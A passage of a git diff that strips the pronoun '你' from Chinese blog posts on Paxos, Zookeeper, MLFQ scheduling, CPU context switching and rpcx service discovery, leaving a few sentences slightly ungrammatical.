-而为什么要去解决数据一致性的问题？你想想，如果一个秒杀系统将服务拆分成了下订单和加积分服务，这两个服务部署在不同的机器上了，万一在消息的传播过程中积分系统宕机了，总不能你这边下了订单却没加积分吧？你总得保证两边的数据需要一致吧？ +而为什么要去解决数据一致性的问题？想想，如果一个秒杀系统将服务拆分成了下订单和加积分服务，这两个服务部署在不同的机器上了，万一在消息的传播过程中积分系统宕机了，总不能这边下了订单却没加积分吧？总得保证两边的数据需要一致吧？ ### 补充：分布式和集群的区别 @@ -79,7 +79,7 @@ Paxos 算法是基于消息传递且具有高度容错特性的一致性算法 **accept 阶段** -当一个提案被 Proposer 提出后，如果 Proposer 收到了超过半数的 Acceptor 的批准（Proposer 本身同意），那么此时 Proposer 会给所有的 Acceptor 发送真正的提案（你可以理解为第一阶段为试探），这个时候 Proposer 就会发送提案的内容和提案编号。 +当一个提案被 Proposer 提出后，如果 Proposer 收到了超过半数的 Acceptor 的批准（Proposer 本身同意），那么此时 Proposer 会给所有的 Acceptor 发送真正的提案（可以理解为第一阶段为试探），这个时候 Proposer 就会发送提案的内容和提案编号。 表决者收到提案请求后会再次比较本身已经批准过的最大提案编号和该提案编号，如果该提案编号 **大于等于** 已经批准过的最大提案编号，那么就 accept 该提案（此时执行提案内容但不提交），随后将情况返回给 Proposer 。如果不满足则不回应或者返回 NO 。 @@ -185,7 +185,7 @@ pzxid：该节点子节点列表最后一次被修改时的事务 ID，注意是 ### Zookeeper 的会话机制 -我想这个对于后端开发的朋友肯定不陌生，不就是 session 吗？只不过 zk 客户端和服务端是通过 TCP 长连接 维持的会话机制，其实对于会话来说你可以理解为 保持连接状态 。 +我想这个对于后端开发的朋友肯定不陌生，不就是 session 吗？只不过 zk 客户端和服务端是通过 TCP 长连接 维持的会话机制，其实对于会话来说可以理解为 保持连接状态 。 在 zookeeper 中，会话还有对应的事件，比如 CONNECTION_LOSS 连接丢失事件 、SESSION_MOVED 会话转移事件 、SESSION_EXPIRED 会话超时失效事件 。 ### Zookeeper 的 ACL @@ -243,4 +243,4 @@ Zookeeper 的强一致性，能够很好地在保证 在高并发的情况下保 ### Zookeeper 的实战场景之--注册中心 -至于注册中心也很简单，我们同样也是让 服务提供者 在 zookeeper 中创建一个临时节点并且将自己的 ip、port、调用方式 写入节点，当 服务消费者 需要进行调用的时候会 通过注册中心找到相应的服务的地址列表(IP 端口什么的) ，并缓存到本地(方便以后调用)，当消费者调用服务时，不会再去请求注册中心，而是直接通过负载均衡算法从地址列表中取一个服务提供者的服务器调用服务。当服务提供者的某台服务器宕机或下线时，相应的地址会从服务提供者地址列表中移除。同时，注册中心会将新的服务地址列表发送给服务消费者的机器并缓存在消费者本机（当然你可以让消费者进行节点监听，我记得 Eureka 会先试错，然后再更新）。 +至于注册中心也很简单，我们同样也是让 服务提供者 在 zookeeper 中创建一个临时节点并且将自己的 ip、port、调用方式 写入节点，当 服务消费者 需要进行调用的时候会 通过注册中心找到相应的服务的地址列表(IP 端口什么的) ，并缓存到本地(方便以后调用)，当消费者调用服务时，不会再去请求注册中心，而是直接通过负载均衡算法从地址列表中取一个服务提供者的服务器调用服务。当服务提供者的某台服务器宕机或下线时，相应的地址会从服务提供者地址列表中移除。同时，注册中心会将新的服务地址列表发送给服务消费者的机器并缓存在消费者本机（当然可以让消费者进行节点监听，我记得 Eureka 会先试错，然后再更新）。 diff --git a/_posts/2022-11-01-test-markdown.md b/_posts/2022-11-01-test-markdown.md index c173fd2d867e..af831b57563a 100644 --- a/_posts/2022-11-01-test-markdown.md +++ b/_posts/2022-11-01-test-markdown.md @@ -20,7 +20,7 @@ MLFQ 调度策略的关键在于如何设置优先级。MLFQ 没有为每个工 如果系统有“太多”交互型工作，就会不断占用 CPU，（因为他的优先级没有发生改变）导致长工作永远无法得到 CPU（它们饿死了）。即使在这种情况下，我们希望这些长工作也能有所进展。 愚弄调度程序（game the scheduler）： -其次，聪明的用户会重写程序，愚弄调度程序（game the scheduler）。愚弄调度程序指的是用一些卑鄙的手段欺骗调度程序，让它给你远超公平的资源。上述算法对如下的攻击束手无策：进程在时间片用完之前，调用一个 I/O 操作（比如访问一个无关的文件），从而主动释放 CPU。如此便可以保持在高优先级，占用更多的 CPU 时间。做得好时（比如，每运行 99%的时间片时间就主动放弃一次 CPU），工作可以几乎独占 CPU。 +其次，聪明的用户会重写程序，愚弄调度程序（game the scheduler）。愚弄调度程序指的是用一些卑鄙的手段欺骗调度程序，让它给远超公平的资源。上述算法对如下的攻击束手无策：进程在时间片用完之前，调用一个 I/O 操作（比如访问一个无关的文件），从而主动释放 CPU。如此便可以保持在高优先级，占用更多的 CPU 时间。做得好时（比如，每运行 99%的时间片时间就主动放弃一次 CPU），工作可以几乎独占 CPU。 至此，我们得到了 MLFQ 的两条基本规则。 diff --git a/_posts/2022-11-02-test-markdown.md b/_posts/2022-11-02-test-markdown.md index 1b84161038e9..8fb868435217 100644 --- a/_posts/2022-11-02-test-markdown.md +++ b/_posts/2022-11-02-test-markdown.md @@ -97,7 +97,7 @@ CPU 相关信息 ⼤多数操作系统都是多任务，通常⽀持⼤于 CPU 数量的任务同时运⾏。实际上，这些任务并不是同时运⾏的，只是因为系统在很短的时间内，让各个任务分别在 CPU 运⾏，于是就造成同时运⾏的错觉。任务是交给 CPU 运⾏的，那么在每个任务运⾏前，CPU 需要知道任务从哪⾥加载，⼜从哪⾥开始运⾏。 所以，操作系统需要事先帮 CPU 设置好 CPU 寄存器和程序计数器。 -CPU 寄存器是 CPU 内部⼀个容量⼩，但是速度极快的内存（缓存）。我举个例⼦，寄存器像是你的⼝袋，内存像你的书包，硬盘则是你家⾥的柜⼦，如果你的东⻄存放到⼝袋，那肯定是⽐你从书包或家⾥柜⼦取出来要快的多。 +CPU 寄存器是 CPU 内部⼀个容量⼩，但是速度极快的内存（缓存）。我举个例⼦，寄存器像是的⼝袋，内存像的书包，硬盘则是家⾥的柜⼦，如果的东⻄存放到⼝袋，那肯定是⽐从书包或家⾥柜⼦取出来要快的多。 再来，程序计数器则是⽤来存储 CPU 正在执⾏的指令位置、或者即将执⾏的下⼀条指令位置。所以说，CPU 寄存器和程序计数是 CPU 在运⾏任何任务前，所必须依赖的环境，这些环境就叫做 CPU 上下⽂。 **操作系统是多任务，CPU 在一段时间内执行不同的任务，在不同的任务之间进行切换，就需要操作系统为 CPU 设置好程序计数器和 CPU 寄存器，记录 CPU 把每个任务执行到什么程度，这么才能在任务切换的时候恢复现场。由操作系统调度的。** diff --git a/_posts/2022-11-03-test-markdown.md b/_posts/2022-11-03-test-markdown.md index be3124f9995a..902a2c60b148 100644 --- a/_posts/2022-11-03-test-markdown.md +++ b/_posts/2022-11-03-test-markdown.md @@ -21,7 +21,7 @@ RPC 的消息传输可以通过 TCP、UDP 或者 HTTP 等，所以有时候我 其次，它们操作的对象不一样。 RPC 操作的是方法和过程，它要操作的是方法对象。 RESTful 操作的是资源(resource)，而不是方法。 -第三，RESTful 执行的是对资源的操作，增加、查找、修改和删除等,主要是 CURD，所以如果你要实现一个特定目的的操作，比如为名字姓张的学生的数学成绩都加上 10 这样的操作， RESTful 的 API 设计起来就不是那么直观或者有意义。在这种情况下, RPC 的实现更有意义，它可以实现一个 Student.Increment(Name, Score) 的方法供客户端调用。 +第三，RESTful 执行的是对资源的操作，增加、查找、修改和删除等,主要是 CURD，所以如果要实现一个特定目的的操作，比如为名字姓张的学生的数学成绩都加上 10 这样的操作， RESTful 的 API 设计起来就不是那么直观或者有意义。在这种情况下, RPC 的实现更有意义，它可以实现一个 Student.Increment(Name, Score) 的方法供客户端调用。 我们再来比较一下 RPC over TCP 和 RESTful。 如果我们直接使用 socket 实现 RPC，除了上面的不同外，我们可以获得性能上的优势。 @@ -121,7 +121,7 @@ func (t *UserLogin) Mul(ctx context.Context, args *LoginRequest, reply *TokenRes UserLogin 是一个 Go 类型，并且它有一个方法 Mul。 方法 Mul 的 第 1 个参数是 context.Context。 方法 Mul 的 第 2 个参数是 args， args 包含了请求的数据 Phone 和 Password。 方法 Mul 的 第 3 个参数是 reply， reply 是一个指向了 TokenResponse 结构体的指针。 方法 Mul 的 返回类型是 error (可以为 nil)。 方法 Mul 把 输入的 Phone 和 Password 经过校验和加密后得到结果 赋值到 TokenResponse.Token -现在你已经定义了一个叫做 UserLogin 的 service， 并且为它实现了 Mul 方法。 下一步骤中， 我们将会继续介绍如何把这个服务注册给服务器，并且如何用 client 调用它。 +现在已经定义了一个叫做 UserLogin 的 service， 并且为它实现了 Mul 方法。 下一步骤中， 我们将会继续介绍如何把这个服务注册给服务器，并且如何用 client 调用它。 ## 2. 实现 Server @@ -203,7 +203,7 @@ UserLogin 是一个 Go 类型，并且它有一个方法 Mul。 方法 Mul 的 } ``` -你必须使用 xclient.Go 来替换 xclient.Call， 然后把结果返回到一个 channel 里。你可以从 chnanel 里监听调用结果。 +必须使用 xclient.Go 来替换 xclient.Call， 然后把结果返回到一个 channel 里。可以从 chnanel 里监听调用结果。 补充：服务发现的方式有两种，客户端发现和服务端发现。 @@ -221,20 +221,20 @@ UserLogin 是一个 Go 类型，并且它有一个方法 Mul。 方法 Mul 的 **服务实例和注册中心之间采用心跳机制实时刷新服务实例的信息。** **为每一种编程语言实现客户端的服务发现逻辑。** 服务实例的网络位置在服务注册中心启动时被注册。当实例终止时，它将从服务注册中心中移除。通常使用心跳机制周期性地刷新服务实例的注册信息. -Netflix OSS 提供了一个很好的客户端发现模式示例。Netflix Eureka 是一个服务注册中心，它提供了一组用于管理服务实例注册和查询可用实例的 REST API。Netflix Ribbon 是一个 IPC 客户端，可与 Eureka 一起使用，用于在可用服务实例之间使请求负载均衡。该模式相对比较简单，除了服务注册中心，没有其他移动部件。此外，由于客户端能发现可用的服务实例，因此可以实现智能的、特定于应用的负载均衡决策，比如使用一致性哈希。该模式的一个重要缺点是它将客户端与服务注册中心耦合在一起。你必须为你使用的每种编程语言和框架实现客户端服务发现逻辑。 +Netflix OSS 提供了一个很好的客户端发现模式示例。Netflix Eureka 是一个服务注册中心，它提供了一组用于管理服务实例注册和查询可用实例的 REST API。Netflix Ribbon 是一个 IPC 客户端，可与 Eureka 一起使用，用于在可用服务实例之间使请求负载均衡。该模式相对比较简单，除了服务注册中心，没有其他移动部件。此外，由于客户端能发现可用的服务实例，因此可以实现智能的、特定于应用的负载均衡决策，比如使用一致性哈希。该模式的一个重要缺点是它将客户端与服务注册中心耦合在一起。必须为使用的每种编程语言和框架实现客户端服务发现逻辑。 ### 2. 服务端发现： 关键词： -**每个主机上运行一个代理，代理是服务端发现的负载均衡器，客户端通过代理使用主机的 IP 地址和分配的端口号来路由请求，然后代理透明的把请求转发到具体的服务实例上面。往往负载均衡器由部署环境提供，否则你还是要引入一个组件，进行设置和管理。** +**每个主机上运行一个代理，代理是服务端发现的负载均衡器，客户端通过代理使用主机的 IP 地址和分配的端口号来路由请求，然后代理透明的把请求转发到具体的服务实例上面。往往负载均衡器由部署环境提供，否则还是要引入一个组件，进行设置和管理。** **客户端请求路由，路由请求注册中心** -客户端通过负载均衡器向服务发出请求。负载均衡器查询服务注册中心并将每个请求路由到可用的服务实例。与客户端发现一样，服务实例由服务注册中心注册与销毁。AWS Elastic Load Balancer（ELB）是一个服务端发现路由示例。ELB 通常用于均衡来自互联网的外部流量负载。然而，你还可以使用 ELB 来均衡虚拟私有云（VPC）内部的流量负载。客户端通过 ELB 使用其 DNS 名称来发送请求（HTTP 或 TCP）。ELB 均衡一组已注册的 Elastic Compute Cloud（EC2）实例或 EC2 Container Service（ECS）容器之间的流量负载。这里没有单独可见的服务注册中心。相反，EC2 实例与 ECS 容器由 ELB 本身注册。 +客户端通过负载均衡器向服务发出请求。负载均衡器查询服务注册中心并将每个请求路由到可用的服务实例。与客户端发现一样，服务实例由服务注册中心注册与销毁。AWS Elastic Load Balancer（ELB）是一个服务端发现路由示例。ELB 通常用于均衡来自互联网的外部流量负载。然而，还可以使用 ELB 来均衡虚拟私有云（VPC）内部的流量负载。客户端通过 ELB 使用其 DNS 名称来发送请求（HTTP 或 TCP）。ELB 均衡一组已注册的 Elastic Compute Cloud（EC2）实例或 EC2 Container Service（ECS）容器之间的流量负载。这里没有单独可见的服务注册中心。相反，EC2 实例与 ECS 容器由 ELB 本身注册。 HTTP 服务器和负载均衡器（如 NGINX Plus 和 NGINX）也可以作为服务端发现负载均衡器。例如，此博文描述了使用 Consul Template 动态重新配置 NGINX 反向代理。Consul Template 是一个工具，可以从存储在 Consul 服务注册中心中的配置数据中定期重新生成任意配置文件。每当文件被更改时，它都会运行任意的 shell 命令。在列举的博文描述的示例中，Consul Template 会生成一个 nginx.conf 文件，该文件配置了反向代理，然后通过运行一个命令告知 NGINX 重新加载配置。更复杂的实现可以使用其 HTTP API 或 DNS 动态重新配置 NGINX Plus。 某些部署环境（如 Kubernetes 和 Marathon）在群集中的每个主机上运行着一个代理。这些代理扮演着服务端发现负载均衡器角色。为了向服务发出请求，客户端通过代理使用主机的 IP 地址和服务的分配端口来路由请求。之后，代理将请求透明地转发到在集群中某个运行的可用服务实例。 -服务端发现模式有几个优点与缺点。该模式的一大的优点是其把发现的细节从客户端抽象出来。客户端只需向负载均衡器发出请求。这消除了为服务客户端使用的每种编程语言和框架都实现发现逻辑的必要性。另外，如上所述，一些部署环境免费提供此功能。然而，这种模式存在一些缺点。除非负载均衡器由部署环境提供，否则你需要引入这个高可用系统组件，并进行设置和管理。 +服务端发现模式有几个优点与缺点。该模式的一大的优点是其把发现的细节从客户端抽象出来。客户端只需向负载均衡器发出请求。这消除了为服务客户端使用的每种编程语言和框架都实现发现逻辑的必要性。另外，如上所述，一些部署环境免费提供此功能。然而，这种模式存在一些缺点。除非负载均衡器由部署环境提供，否则需要引入这个高可用系统组件，并进行设置和管理。 ## 服务注册中心 @@ -245,7 +245,7 @@ HTTP 服务器和负载均衡器（如 NGINX Plus 和 NGINX）也可以作为服 服务注册中心（service registry）是服务发现的一个关键部分。它是一个包含了服务实例网络位置的数据库。服务注册中心必须是高可用和最新的。虽然客户端可以缓存从服务注册中心获得的网络位置，但该信息最终会过期，客户端将无法发现服务实例。因此，服务注册中心使用了复制协议（replication protocol）来维护一致性的服务器集群组成。 **Netflix Eureka 组侧中心的做法是提供用于注册和查询的 REST API** -如之前所述，Netflix Eureka 是一个很好的服务注册中心范例。它提供了一个用于注册和查询服务实例的 REST API。**服务实例使用 POST 请求注册**其网络位置。它必须每隔 30 秒**使用 PUT 请求来刷新**其注册信息。通过使用 HTTP **DELETE 请求或实例注册超时来移除**注册信息。正如你所料，客户端可以使用 HTTP **GET 请求来检索**已注册的服务实例。 +如之前所述，Netflix Eureka 是一个很好的服务注册中心范例。它提供了一个用于注册和查询服务实例的 REST API。**服务实例使用 POST 请求注册**其网络位置。它必须每隔 30 秒**使用 PUT 请求来刷新**其注册信息。通过使用 HTTP **DELETE 请求或实例注册超时来移除**注册信息。正如所料，客户端可以使用 HTTP **GET 请求来检索**已注册的服务实例。 Netflix 通过在每个 Amazon EC2 可用区中运行一个或多个 Eureka 服务器来实现高可用。每个 Eureka 服务器都运行在有一个 弹性 IP 地址的 EC2 实例上。DNS TEXT 记录用于存储 Eureka 集群配置，这是一个从可用区到 Eureka 服务器的网络位置列表的映射。当 Eureka 服务器启动时，它将会查询 DNS 以检索 Eureka 群集配置，查找其对等体，并为其分配一个未使用的弹性 IP 地址。 Eureka 客户端 — 服务与服务客户端 — 查询 DNS 以发现 Eureka 服务器的网络位置。客户端优先使用相同可用区中的 Eureka 服务器，如果没有可用的，则使用另一个可用区的 Eureka 服务器。 @@ -268,7 +268,7 @@ Eureka 客户端 — 服务与服务客户端 — 查询 DNS 以发现 Eureka 当使用自注册模式时，服务实例负责在服务注册中心注册和注销自己。此外，如果有必要，服务实例将通过发送心跳请求来防止其注册信息过期。 -该方式的一个很好的范例就是 Netflix OSS Eureka 客户端。Eureka 客户端负责处理服务实例注册与注销的所有方面。实现了包括服务发现在内的多种模式的 Spring Cloud 项目可以轻松地使用 Eureka 自动注册服务实例。你只需在 Java Configuration 类上应用 @EnableEurekaClient 注解即可。自注册模式有好有坏。一个好处是它相对简单，不需要任何其他系统组件。然而，主要缺点是它将服务实例与服务注册中心耦合。你必须为服务使用的每种编程语言和框架都实现注册代码。 +该方式的一个很好的范例就是 Netflix OSS Eureka 客户端。Eureka 客户端负责处理服务实例注册与注销的所有方面。实现了包括服务发现在内的多种模式的 Spring Cloud 项目可以轻松地使用 Eureka 自动注册服务实例。只需在 Java Configuration 类上应用 @EnableEurekaClient 注解即可。自注册模式有好有坏。一个好处是它相对简单，不需要任何其他系统组件。然而，主要缺点是它将服务实例与服务注册中心耦合。必须为服务使用的每种编程语言和框架都实现注册代码。 ### 2.第三方注册 @@ -278,9 +278,9 @@ Eureka 客户端 — 服务与服务客户端 — 查询 DNS 以发现 Eureka 开源的 Registrator 项目是一个很好的服务注册器示例。它可以自动注册和注销作为 Docker 容器部署的服务实例。注册器支持多种服务注册中心，包括 etcd 和 Consul。 另一个服务注册器例子是 NetflixOSS Prana。其主要用于非 JVM 语言编写的服务，它是一个与服务实例并行运行的附加应用。Prana 使用了 Netflix Eureka 来注册和注销服务实例。 -服务注册器在部分部署环境中是一个内置组件。Autoscaling Group 创建的 EC2 实例可以自动注册到 ELB。Kubernetes 服务能够自动注册并提供发现。第三方注册模式同样有好有坏。一个主要的好处是服务与服务注册中心之间解耦。你不需要为开发人员使用的每种编程语言和框架都实现服务注册逻辑。相反，仅需要在专用服务中以集中的方式处理服务实例注册。 +服务注册器在部分部署环境中是一个内置组件。Autoscaling Group 创建的 EC2 实例可以自动注册到 ELB。Kubernetes 服务能够自动注册并提供发现。第三方注册模式同样有好有坏。一个主要的好处是服务与服务注册中心之间解耦。不需要为开发人员使用的每种编程语言和框架都实现服务注册逻辑。相反，仅需要在专用服务中以集中的方式处理服务实例注册。 -该模式的一个缺点是，除非部署环境内置，否则你同样需要引入这样一个高可用的系统组件，并进行设置和管理。 +该模式的一个缺点是，除非部署环境内置，否则同样需要引入这样一个高可用的系统组件，并进行设置和管理。 总结： 在微服务应用中，运行的服务实例集会动态变更。实例有动态分配的网络位置。因此，为了让客户端向服务发出请求，它必须使用服务发现机制。 @@ -292,7 +292,7 @@ Eureka 客户端 — 服务与服务客户端 — 查询 DNS 以发现 Eureka ## rpcx Service -作为服务提供者，首先你需要定义服务。 当前 rpcx 仅支持 可导出的 methods （方法） 作为服务的函数。 （see 可导出） 并且这个可导出的方法必须满足以下的要求： +作为服务提供者，首先需要定义服务。 当前 rpcx 仅支持 可导出的 methods （方法） 作为服务的函数。 （see 可导出） 并且这个可导出的方法必须满足以下的要求： 必须是可导出类型的方法 @@ -320,7 +320,7 @@ func (t *UserLogin) Mul(ctx context.Context, args *LoginRequest, reply *TokenRes } ``` -你可以使用 RegisterName 来注册 rcvr 的方法，这里这个服务的名字叫做 name。 如果你使用 Register， 生成的服务的名字就是 rcvr 的类型名。 你可以在注册中心添加一些元数据供客户端或者服务管理者使用。例如 weight、geolocation、metrics。 +可以使用 RegisterName 来注册 rcvr 的方法，这里这个服务的名字叫做 name。 如果使用 Register， 生成的服务的名字就是 rcvr 的类型名。 可以在注册中心添加一些元数据供客户端或者服务管理者使用。例如 weight、geolocation、metrics。 ```go func (s *Server) Register(rcvr interface{}, metadata string) error @@ -349,13 +349,13 @@ func (t *Arith) Mul(ctx context.Context, args *Args, reply *Reply) error { } ``` -在这个例子中，你可以定义 Arith 为 struct{} 类型， 它不会影响到这个服务。 你也可以定义 args 为 Args， 也不会产生影响。 +在这个例子中，可以定义 Arith 为 struct{} 类型， 它不会影响到这个服务。 也可以定义 args 为 Args， 也不会产生影响。 ## rpcx Server 关键词： **写完服务后暴露服务请求，需要启动一个 TCP 或者 UDP 服务器来监听请求** -在你定义完服务后，你会想将它暴露出去来使用。你应该通过启动一个 TCP 或 UDP 服务器来监听请求。 +在定义完服务后，会想将它暴露出去来使用。应该通过启动一个 TCP 或 UDP 服务器来监听请求。 服务器支持以如下这些方式启动，监听请求和关闭： @@ -367,8 +367,8 @@ func (t *Arith) Mul(ctx context.Context, args *Args, reply *Reply) error { func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) ``` -首先你应使用 NewServer 来创建一个服务器实例。 -其次你可以调用 Serve 或者 ServeHTTP 来监听请求。ServeHTTP 将服务通过 HTTP 暴露出去。Serve 通过 TCP 或 UDP 协议与客户端通信 +首先应使用 NewServer 来创建一个服务器实例。 +其次可以调用 Serve 或者 ServeHTTP 来监听请求。ServeHTTP 将服务通过 HTTP 暴露出去。Serve 通过 TCP 或 UDP 协议与客户端通信 服务器包含一些字段（有一些是不可导出的）： @@ -452,13 +452,13 @@ Conn 代表客户端与服务器之前的连接。 Plugins 包含了客户端启 func (client *Client) IsShutdown() bool ``` -Call 代表对服务同步调用。客户端在收到响应或错误前一直是阻塞的。 然而 Go 是异步调用。它返回一个指向 Call 的指针， 你可以检查 \*Call 的值来获取返回的结果或错误。 +Call 代表对服务同步调用。客户端在收到响应或错误前一直是阻塞的。 然而 Go 是异步调用。它返回一个指向 Call 的指针， 可以检查 \*Call 的值来获取返回的结果或错误。 Close 会关闭所有与服务的连接。他会立刻关闭连接，不会等待未完成的请求结束。 IsClosing 表示客户端是关闭着的并且不会接受新的调用。 IsShutdown 表示客户端不会接受服务返回的响应。 > Client uses the default CircuitBreaker (circuit.NewRateBreaker(0.95, 100)) to handle errors. This is a poplular rpc error handling style. When the error rate hits the threshold, this service is marked unavailable in 10 second window. You can implement your customzied CircuitBreaker. -Client 使用默认的 CircuitBreaker (circuit.NewRateBreaker(0.95, 100)) 来处理错误。这是 rpc 处理错误的普遍做法。当出错率达到阈值， 这个服务就会在接下来的 10 秒内被标记为不可用。你也可以实现你自己的 CircuitBreaker。 +Client 使用默认的 CircuitBreaker (circuit.NewRateBreaker(0.95, 100)) 来处理错误。这是 rpc 处理错误的普遍做法。当出错率达到阈值， 这个服务就会在接下来的 10 秒内被标记为不可用。也可以实现自己的 CircuitBreaker。 下面是客户端的例子： ```go @@ -508,14 +508,14 @@ type XClient interface { SetPlugins 方法可以用来设置 Plugin 容器， Auth 可以用来设置鉴权 token。 ConfigGeoSelector 是一个可以通过地址位置选择器来设置客户端的经纬度的特别方法。 -一个 XCLinet 只对一个服务负责，它可以通过 serviceMethod 参数来调用这个服务的所有方法。如果你想调用多个服务，你必须为每个服务创建一个 XClient。 +一个 XCLinet 只对一个服务负责，它可以通过 serviceMethod 参数来调用这个服务的所有方法。如果想调用多个服务，必须为每个服务创建一个 XClient。 一个应用中，一个服务只需要一个共享的 XClient。它可以被通过 goroutine 共享，并且是协程安全的。 Go 代表异步调用， Call 代表同步调用。 XClient 对于一个服务节点使用单一的连接，并且它会缓存这个连接直到失效或异常。 ## rpcx 服务发现 -rpcx 支持许多服务发现机制，你也可以实现自己的服务发现。 +rpcx 支持许多服务发现机制，也可以实现自己的服务发现。 - Peer to Peer: 客户端直连每个服务节点。 - Peer to Multiple: 客户端可以连接多个服务。服务可以被编程式配置。 @@ -575,7 +575,7 @@ rpcx 支持 故障模式： - Failover：选择其他节点，直到达到最大重试次数 - Failtry：选择相同节点并重试，直到达到最大重试次数 -对于负载均衡(对应前面讲的：服务端发现模式和客户端发现模式下，如果你是客户端发现模式那么你需要给客户端传递一个负载均衡器，如果是服务端发现模式，那么你代理就是你的负载均衡器)，rpcx 提供了许多选择器： +对于负载均衡(对应前面讲的：服务端发现模式和客户端发现模式下，如果是客户端发现模式那么需要给客户端传递一个负载均衡器，如果是服务端发现模式，那么代理就是的负载均衡器)，rpcx 提供了许多选择器： - Random： 随机选择节点 - Roundrobin： 使用 roundrobin 算法选择节点 @@ -583,7 +583,7 @@ rpcx 支持 故障模式： - Weighted: 根据元数据里配置好的权重(weight=xxx)来选择节点。类似于 nginx 里的实现(smooth weighted algorithm) Network quality: 根据 ping 的结果来选择节点。网络质量越好，该节点被选择的几率越大。 - Geography: 如果有多个数据中心，客户端趋向于连接同一个数据机房的节点。 -- Customized Selector: 如果以上的选择器都不适合你，你可以自己定制选择器。例如一个 rpcx 用户写过它自己的选择器，他有 2 个数据中心，但是这些数据中心彼此有限制，不能使用 Network quality 来检测连接质量。 +- Customized Selector: 如果以上的选择器都不适合，可以自己定制选择器。例如一个 rpcx 用户写过它自己的选择器，他有 2 个数据中心，但是这些数据中心彼此有限制，不能使用 Network quality 来检测连接质量。 ```go xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, client.NewPeer2PeerDiscovery("tcp@"+*addr2, ""), client.DefaultOption) @@ -653,7 +653,7 @@ XClient 接口下的方法 Broadcast 表示向所有服务器发送请求，只有所有服务器正确返回时才会成功。此时 FailMode 和 SelectMode 的设置是无效的。请设置超时来避免阻塞。 Fork 表示向所有服务器发送请求，只要任意一台服务器正确返回就成功。此时 FailMode 和 SelectMode 的设置是无效的。 -你可以使用 NewXClient 来获取一个 XClient 实例。 +可以使用 NewXClient 来获取一个 XClient 实例。 ```go func NewXClient(servicePath string, failMode FailMode, selectMode SelectMode, discovery ServiceDiscovery, option Option) XClient @@ -665,11 +665,11 @@ NewXClient 必须使用服务名称作为第一个参数， 然后是 failmode > rpcx 的 Transport -rpcx 可以通过 TCP、HTTP、UnixDomain、QUIC 和 KCP 通信。你也可以使用 http 客户端通过网关或者 http 调用来访问 rpcx 服务。 +rpcx 可以通过 TCP、HTTP、UnixDomain、QUIC 和 KCP 通信。也可以使用 http 客户端通过网关或者 http 调用来访问 rpcx 服务。 ### TCP -这是最常用的通信方式。高性能易上手。你可以使用 TLS 加密 TCP 流量。 +这是最常用的通信方式。高性能易上手。可以使用 TLS 加密 TCP 流量。 服务端使用 tcp 做为网络名并且**在注册中心注册了名为 serviceName/tcp@ipaddress:port 的服务**。 ```go @@ -683,13 +683,13 @@ s.Serve("tcp", *addr) ### HTTP Connect **如果想要使用 HttpConnect 方法，那么应该使用网关** -你可以发送 HTTP CONNECT 方法给 rpcx 服务器。 Rpcx 服务器会劫持这个连接然后将它作为 TCP 连接来使用。 需要注意，客户端和服务端并不使用 http 请求/响应模型来通信，他们仍然使用二进制协议。 +可以发送 HTTP CONNECT 方法给 rpcx 服务器。 Rpcx 服务器会劫持这个连接然后将它作为 TCP 连接来使用。 需要注意，客户端和服务端并不使用 http 请求/响应模型来通信，他们仍然使用二进制协议。 网络名称是 http， 它注册的格式是 serviceName/http@ipaddress:port。 HTTP Connect 并不被推荐。 TCP 是第一选择。 -**如果你想使用 http 请求/响应 模型来访问服务，你应该使用网关或者 http_invoke。** +**如果想使用 http 请求/响应 模型来访问服务，应该使用网关或者 http_invoke。** ### Unixdomain @@ -821,7 +821,7 @@ KCP 是一个快速并且可靠的 ARQ 协议。 网络名称是 kcp。 -当你使用 kcp 的时候，你必须设置 Timeout，利用 timeout 保持连接的检测。因为 kcp-go 本身不提供 keepalive/heartbeat 的功能，当服务器宕机重启的时候，原有的连接没有任何异常，只会 hang 住，我们只能依靠 Timeout 避免 hang 住。 +当使用 kcp 的时候，必须设置 Timeout，利用 timeout 保持连接的检测。因为 kcp-go 本身不提供 keepalive/heartbeat 的功能，当服务器宕机重启的时候，原有的连接没有任何异常，只会 hang 住，我们只能依靠 Timeout 避免 hang 住。 ```go //go run -tags kcp client.go @@ -1010,7 +1010,7 @@ func main() { > 注册中心 和 服务端 耦合 -（如果你是采用点对点的方式实际上是没有注册中心的 ，客户端直接得到唯一的服务器的地址，连接服务。在系统扩展时，你可以进行一些更改，服务器不需要进行更多的配置 客户端使用 Peer2PeerDiscovery 来设置该服务的网络和地址。而且由于只有有一个节点，因此选择器是不可用的。`d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "")` `xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption)`）服务端可以采用自注册和第三方注册的方式进行注册。 +（如果是采用点对点的方式实际上是没有注册中心的 ，客户端直接得到唯一的服务器的地址，连接服务。在系统扩展时，可以进行一些更改，服务器不需要进行更多的配置 客户端使用 Peer2PeerDiscovery 来设置该服务的网络和地址。而且由于只有有一个节点，因此选择器是不可用的。`d := client.NewPeer2PeerDiscovery("tcp@"+*addr, "")` `xclient := client.NewXClient("Arith", client.Failtry, client.RandomSelect, d, client.DefaultOption)`）服务端可以采用自注册和第三方注册的方式进行注册。 rpcx 会自动将服务的信息比如服务名，监听地址，监听协议，权重等注册到注册中心，同时还会定时的将服务的吞吐率更新到注册中心。如果服务意外中断或者宕机，注册中心能够监测到这个事件，它会通知客户端这个服务目前不可用，在服务调用的时候不要再选择这个服务器。 @@ -1032,7 +1032,7 @@ rpcx 会自动将服务的信息比如服务名，监听地址，监听协议， ## MultipleServers - Peer to Multiple: 客户端可以连接多个服务。服务可以被编程式配置。（实际上也没有注册中心，那么具体是怎么做的？ - 假设我们有固定的几台服务器提供相同的服务，我们可以采用这种方式。如果你有多个服务但没有注册中心.你可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。） + 假设我们有固定的几台服务器提供相同的服务，我们可以采用这种方式。如果有多个服务但没有注册中心.可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。） ```go d := client.NewMultipleServersDiscovery([]*client.KVPair{ @@ -1043,7 +1043,7 @@ rpcx 会自动将服务的信息比如服务名，监听地址，监听协议， defer xclient.Close() ``` -上面的方式只能访问一台服务器，假设我们有固定的几台服务器提供相同的服务，我们可以采用这种方式。如果你有多个服务但没有注册中心.你可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。客户端使用 MultipleServersDiscovery 并仅设置该服务的网络和地址。你必须在 MultipleServersDiscovery 中设置服务信息和元数据。如果添加或删除了某些服务，你可以调用 MultipleServersDiscovery.Update 来动态 